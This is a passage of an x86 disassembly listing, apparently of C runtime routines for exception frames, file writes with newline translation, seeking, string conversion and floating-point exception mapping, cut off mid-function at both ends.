push dword ptr [ebx+18h]
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41D670
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422D07
mov eax, [edi]
test eax, eax
jz loc_422D07
add esi, 8
push esi
jmp short loc_422BF0
; ---------------------------------------------------------------------------
loc_422C59: ; CODE XREF: sub_422B62+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422CA1
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push edi
call sub_41D670
add esp, 0Ch
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422CA1: ; CODE XREF: sub_422B62+103j
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push dword ptr [esi+18h]
call sub_424FB8
pop ecx
test eax, eax
jz short loc_422D02
test byte ptr [esi], 4
jz short loc_422CE8
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D2A5
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422CE8: ; CODE XREF: sub_422B62+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D29E
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422D02: ; CODE XREF: sub_422B62+6Aj
; sub_422B62+7Cj ...
call sub_422E52
loc_422D07: ; CODE XREF: sub_422B62+98j
; sub_422B62+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_422D0B: ; CODE XREF: sub_422B62+2Ej
; sub_422B62+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422B62 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D26 proc near ; CODE XREF: sub_422651+170p
; sub_422AF2+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278E0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_422D6D
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_422D6D
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41D29E
or [ebp+var_4], 0FFFFFFFFh
loc_422D6D: ; CODE XREF: sub_422D26+2Aj
; sub_422D26+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422D26 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; =============== S U B R O U T I N E =======================================
sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp
; sub_422B62+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_422DAE
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_422DAE: ; CODE XREF: sub_422D8D+12j
pop esi
retn
sub_422D8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DB0 proc near ; CODE XREF: sub_41D331+40p
; sub_4228FD+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41D61D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_422DEF
mov ecx, 2
loc_422DEF: ; CODE XREF: sub_422DB0+38j
push ecx
call sub_41D61D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j
; sub_42299B:loc_4229ACj ...
var_28 = dword ptr -28h
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DBE74
test eax, eax
jz short loc_422E44
mov [ebp+var_4], 1
call eax
jmp short loc_422E40
; ---------------------------------------------------------------------------
loc_422E39: ; DATA XREF: ___:00427900o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E3D: ; DATA XREF: ___:00427904o
mov esp, [ebp+var_18]
loc_422E40: ; CODE XREF: sub_422DFC+3Bj
and [ebp+var_4], 0
loc_422E44: ; CODE XREF: sub_422DFC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422E4D: ; DATA XREF: ___:004278F8o
jmp loc_424FD0
sub_422DFC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p
; sub_41D4D3:loc_41D53Ep ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427908
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43D444
test eax, eax
jz short loc_422E9A
mov [ebp+var_4], 1
call eax ; sub_422DFC
jmp short loc_422E96
; ---------------------------------------------------------------------------
loc_422E8F: ; DATA XREF: ___:00427918o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E93: ; DATA XREF: ___:0042791Co
mov esp, [ebp+var_18]
loc_422E96: ; CODE XREF: sub_422E52+3Bj
and [ebp+var_4], 0
loc_422E9A: ; CODE XREF: sub_422E52+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422EA3: ; DATA XREF: ___:00427910o
jmp sub_422DFC
sub_422E52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p
; sub_41D9B3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DD388
push esi
cmp eax, 3
jnz short loc_422ED1
mov esi, [ebp+arg_0]
push esi
call sub_41E717
test eax, eax
pop ecx
jz short loc_422ECE
mov eax, [esi-4]
sub eax, 9
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422ECE: ; CODE XREF: sub_422EA8+1Cj
push esi
jmp short loc_422EF8
; ---------------------------------------------------------------------------
loc_422ED1: ; CODE XREF: sub_422EA8+Ej
cmp eax, 2
jnz short loc_422EF5
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_422EF5
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422EF5: ; CODE XREF: sub_422EA8+2Cj
; sub_422EA8+43j
push [ebp+arg_0]
loc_422EF8: ; CODE XREF: sub_422EA8+27j
push 0
push dword_4DD384
nop
call near ptr 2660000h
loc_422F06: ; CODE XREF: sub_422EA8+24j
; sub_422EA8+4Bj
pop esi
leave
retn
sub_422EA8 endp
; =============== S U B R O U T I N E =======================================
sub_422F09 proc near ; CODE XREF: ___:0041DAF2p
; sub_41F9BC+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DD140
push esi
push edi
jnb short loc_422F8B
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_422F8B
push eax
call sub_4240AA
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_422F4D
mov dword_4DBDDC, 9
jmp short loc_422F9C
; ---------------------------------------------------------------------------
loc_422F4D: ; CODE XREF: sub_422F09+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
nop
call near ptr 27A0000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_422F6D
call near ptr 269086Bh
nop
jmp short loc_422F6F
; ---------------------------------------------------------------------------
loc_422F6D: ; CODE XREF: sub_422F09+5Aj
xor eax, eax
loc_422F6F: ; CODE XREF: sub_422F09+62j
test eax, eax
jz short loc_422F7C
push eax
call sub_420C7F
pop ecx
jmp short loc_422F9C
; ---------------------------------------------------------------------------
loc_422F7C: ; CODE XREF: sub_422F09+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_422F9F
; ---------------------------------------------------------------------------
loc_422F8B: ; CODE XREF: sub_422F09+Dj
; sub_422F09+2Aj
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_422F9C: ; CODE XREF: sub_422F09+42j
; sub_422F09+71j
or eax, 0FFFFFFFFh
loc_422F9F: ; CODE XREF: sub_422F09+80j
pop edi
pop esi
pop ebx
retn
sub_422F09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422FA3 proc near ; CODE XREF: ___:0041DAB5p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_422FBF
mov [edi+4], ebx
loc_422FBF: ; CODE XREF: sub_422FA3+17j
push 1
push ebx
push esi
call sub_422F09
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42302D
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422FE4
sub eax, [edi+4]
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_422FE4: ; CODE XREF: sub_422FA3+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_42301E
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DD040[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_423035
mov edx, ecx
loc_42300F: ; CODE XREF: sub_422FA3+79j
cmp edx, eax
jnb short loc_423035
cmp byte ptr [edx], 0Ah
jnz short loc_42301B
inc [ebp+var_8]
loc_42301B: ; CODE XREF: sub_422FA3+73j
inc edx
jmp short loc_42300F
; ---------------------------------------------------------------------------
loc_42301E: ; CODE XREF: sub_422FA3+50j
test dl, 80h
jnz short loc_423035
mov dword_4DBDDC, 16h
loc_42302D: ; CODE XREF: sub_422FA3+2Dj
or eax, 0FFFFFFFFh
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_423035: ; CODE XREF: sub_422FA3+68j
; sub_422FA3+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_423043
mov eax, [ebp+var_8]
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_423043: ; CODE XREF: sub_422FA3+96j
test byte ptr [edi+0Ch], 1
jz loc_4230EE
mov edx, [edi+4]
test edx, edx
jnz short loc_42305C
and [ebp+var_8], edx
jmp loc_4230EE
; ---------------------------------------------------------------------------
loc_42305C: ; CODE XREF: sub_422FA3+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_4230E8
push 2
push 0
push [ebp+var_C]
call sub_422F09
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4230AF
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_42309A: ; CODE XREF: sub_422FA3+104j
cmp eax, ecx
jnb short loc_4230A9
cmp byte ptr [eax], 0Ah
jnz short loc_4230A6
inc [ebp+arg_0]
loc_4230A6: ; CODE XREF: sub_422FA3+FEj
inc eax
jmp short loc_42309A
; ---------------------------------------------------------------------------
loc_4230A9: ; CODE XREF: sub_422FA3+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_4230E3
; ---------------------------------------------------------------------------
loc_4230AF: ; CODE XREF: sub_422FA3+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_422F09
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4230D6
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4230D6
test ch, 4
jz short loc_4230D9
loc_4230D6: ; CODE XREF: sub_422FA3+124j
; sub_422FA3+12Cj
mov eax, [edi+18h]
loc_4230D9: ; CODE XREF: sub_422FA3+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_4230E3: ; CODE XREF: sub_422FA3+10Aj
jz short loc_4230E8
inc [ebp+arg_0]
loc_4230E8: ; CODE XREF: sub_422FA3+D9j
; sub_422FA3:loc_4230E3j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_4230EE: ; CODE XREF: sub_422FA3+A4j
; sub_422FA3+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_4230F6: ; CODE XREF: sub_422FA3+3Cj
; sub_422FA3+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_422FA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p
; sub_41E42B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DD140
push esi
push edi
jnb loc_42328F
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_42328F
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42314C
loc_423145: ; CODE XREF: sub_4230FB+177j
xor eax, eax
jmp loc_4232A3
; ---------------------------------------------------------------------------
loc_42314C: ; CODE XREF: sub_4230FB+48j
test al, 20h
jz short loc_42315C
push 2
push edi
push ecx
call sub_422F09
add esp, 0Ch
loc_42315C: ; CODE XREF: sub_4230FB+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_42322B
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_423263
loc_42317C: ; CODE XREF: sub_4230FB+F5j
lea eax, [ebp+var_414]
loc_423182: ; CODE XREF: sub_4230FB+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4231B6
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4231A1
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4231A1: ; CODE XREF: sub_4230FB+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_423182
loc_4231B6: ; CODE XREF: sub_4230FB+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 2720000h
test eax, eax
jz short loc_423220
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_4231F2
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42317C
loc_4231F2: ; CODE XREF: sub_4230FB+EAj
; sub_4230FB+12Ej
xor edi, edi
loc_4231F4: ; CODE XREF: sub_4230FB+150j
; sub_4230FB+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_42328A
cmp [ebp+arg_0], edi
jz short loc_423263
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_423258
mov dword_4DBDDC, 9
mov dword_4DBDE0, eax
jmp loc_4232A0
; ---------------------------------------------------------------------------
loc_423220: ; CODE XREF: sub_4230FB+E0j
call near ptr 269086Bh
nop
mov [ebp+arg_0], eax
jmp short loc_4231F2
; ---------------------------------------------------------------------------
loc_42322B: ; CODE XREF: sub_4230FB+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call near ptr 2720000h
nop
test eax, eax
jz short loc_42324D
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_4231F4
; ---------------------------------------------------------------------------
loc_42324D: ; CODE XREF: sub_4230FB+145j
nop
call near ptr 269086Bh
mov [ebp+arg_0], eax
jmp short loc_4231F4
; ---------------------------------------------------------------------------
loc_423258: ; CODE XREF: sub_4230FB+10Fj
push [ebp+arg_0]
call sub_420C7F
pop ecx
jmp short loc_4232A0
; ---------------------------------------------------------------------------
loc_423263: ; CODE XREF: sub_4230FB+7Bj
; sub_4230FB+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_423278
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_423145
loc_423278: ; CODE XREF: sub_4230FB+16Fj
mov dword_4DBDDC, 1Ch
mov dword_4DBDE0, edi
jmp short loc_4232A0
; ---------------------------------------------------------------------------
loc_42328A: ; CODE XREF: sub_4230FB+FEj
sub eax, [ebp+var_10]
jmp short loc_4232A3
; ---------------------------------------------------------------------------
loc_42328F: ; CODE XREF: sub_4230FB+15j
; sub_4230FB+37j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_4232A0: ; CODE XREF: sub_4230FB+120j
; sub_4230FB+166j ...
or eax, 0FFFFFFFFh
loc_4232A3: ; CODE XREF: sub_4230FB+4Cj
; sub_4230FB+192j
pop edi
pop esi
pop ebx
leave
retn
sub_4230FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p
; sub_41DE4A+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427928
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DBE78, edi
jnz short loc_42331E
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427920
mov esi, 100h
push esi
push edi
nop
call near ptr 2650000h
test eax, eax
jz short loc_4232FC
mov dword_4DBE78, ebx
jmp short loc_42331E
; ---------------------------------------------------------------------------
loc_4232FC: ; CODE XREF: sub_4232A8+4Aj
push edi
push edi
push ebx
push offset word_4CB88C
push esi
push edi
nop
call near ptr 2651132h
test eax, eax
jz loc_423436
mov dword_4DBE78, 2
loc_42331E: ; CODE XREF: sub_4232A8+2Ej
; sub_4232A8+52j
cmp [ebp+arg_C], edi
jle short loc_423333
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4234CC
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_423333: ; CODE XREF: sub_4232A8+79j
mov eax, dword_4DBE78
cmp eax, 2
jnz short loc_42335A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2651132h
nop
jmp loc_423438
; ---------------------------------------------------------------------------
loc_42335A: ; CODE XREF: sub_4232A8+93j
cmp eax, 1
jnz loc_423436
cmp [ebp+arg_18], edi
jnz short loc_423370
mov eax, dword_4DBE94
mov [ebp+arg_18], eax
loc_423370: ; CODE XREF: sub_4232A8+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
nop
call near ptr 2710000h
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_423436
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4233CB
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_4233CB: ; CODE XREF: sub_4232A8+10Ej
cmp [ebp+var_24], edi
jz short loc_423436
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
nop
call near ptr 2710000h
test eax, eax
jz short loc_423436
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2650000h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_423436
test byte ptr [ebp+arg_4+1], 4
jz short loc_42344A
cmp [ebp+arg_14], edi
jz loc_4234C5
cmp esi, [ebp+arg_14]
jg short loc_423436
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2650000h
test eax, eax
jnz loc_4234C5
loc_423436: ; CODE XREF: sub_4232A8+66j
; sub_4232A8+B5j ...
xor eax, eax
loc_423438: ; CODE XREF: sub_4232A8+ADj
; sub_4232A8+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42344A: ; CODE XREF: sub_4232A8+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42347E
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_42347E: ; CODE XREF: sub_4232A8+1C2j
cmp ebx, edi
jz short loc_423436
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2650000h
test eax, eax
jz short loc_423436
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_4234A5
push edi
push edi
jmp short loc_4234AB
; ---------------------------------------------------------------------------
loc_4234A5: ; CODE XREF: sub_4232A8+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_4234AB: ; CODE XREF: sub_4232A8+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call near ptr 28410A4h
nop
mov esi, eax
cmp esi, edi
jz loc_423436
loc_4234C5: ; CODE XREF: sub_4232A8+165j
; sub_4232A8+188j
mov eax, esi
jmp loc_423438
sub_4232A8 endp
; =============== S U B R O U T I N E =======================================
sub_4234CC proc near ; CODE XREF: sub_4232A8+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4234E9
loc_4234DC: ; CODE XREF: sub_4234CC+1Bj
cmp byte ptr [eax], 0
jz short loc_4234E9
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_4234DC
loc_4234E9: ; CODE XREF: sub_4234CC+Ej
; sub_4234CC+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4234F4
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4234F4: ; CODE XREF: sub_4234CC+21j
mov eax, edx
retn
sub_4234CC endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_423638
test eax, eax
pop ecx
jz loc_42362C
mov ebx, [eax+8]
test ebx, ebx
jz loc_42362C
cmp ebx, 5
jnz short loc_423528
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_423635
; ---------------------------------------------------------------------------
loc_423528: ; CODE XREF: ___:0042351Aj
cmp ebx, 1
jz loc_423627
mov ecx, dword_4DBE9C
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_4DBE9C, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_423617
mov ecx, dword_43D4C0
mov edx, dword_43D4C4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_423577
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43D450h[esi*4]
loc_42356E: ; CODE XREF: ___:00423575j
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_42356E
loc_423577: ; CODE XREF: ___:00423560j
mov eax, [eax]
mov esi, dword_43D4CC
cmp eax, 0C000008Eh
jnz short loc_423592
mov dword_43D4CC, 83h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_423592: ; CODE XREF: ___:00423584j
cmp eax, 0C0000090h
jnz short loc_4235A5
mov dword_43D4CC, 81h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235A5: ; CODE XREF: ___:00423597j
cmp eax, 0C0000091h
jnz short loc_4235B8
mov dword_43D4CC, 84h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235B8: ; CODE XREF: ___:004235AAj
cmp eax, 0C0000093h
jnz short loc_4235CB
mov dword_43D4CC, 85h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235CB: ; CODE XREF: ___:004235BDj
cmp eax, 0C000008Dh
jnz short loc_4235DE
mov dword_43D4CC, 82h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235DE: ; CODE XREF: ___:004235D0j
cmp eax, 0C000008Fh
jnz short loc_4235F1
mov dword_43D4CC, 86h
jmp short loc_423602
; ---------------------------------------------------------------------------
loc_4235F1: ; CODE XREF: ___:004235E3j
cmp eax, 0C0000092h
jnz short loc_423602
mov dword_43D4CC, 8Ah
loc_423602: ; CODE XREF: ___:00423590j
; ___:004235A3j ...
push dword_43D4CC
push 8
call ebx
pop ecx
mov dword_43D4CC, esi
pop ecx
pop esi
jmp short loc_42361F
; ---------------------------------------------------------------------------
loc_423617: ; CODE XREF: ___:00423549j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_42361F: ; CODE XREF: ___:00423615j
mov eax, [ebp+8]
mov dword_4DBE9C, eax
loc_423627: ; CODE XREF: ___:0042352Bj
or eax, 0FFFFFFFFh
jmp short loc_423635
; ---------------------------------------------------------------------------
loc_42362C: ; CODE XREF: ___:00423506j
; ___:00423511j
push dword ptr [ebp+0Ch]
nop
call near ptr 2640000h
loc_423635: ; CODE XREF: ___:00423523j
; ___:0042362Aj
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_423638 proc near ; CODE XREF: ___:004234FEp
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D4C8
cmp dword_43D448, edx
push esi
mov eax, offset dword_43D448
jz short loc_423665
lea esi, [ecx+ecx*2]
lea esi, ds:43D448h[esi*4]
loc_42365A: ; CODE XREF: sub_423638+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_423665
cmp [eax], edx
jnz short loc_42365A
loc_423665: ; CODE XREF: sub_423638+16j
; sub_423638+27j
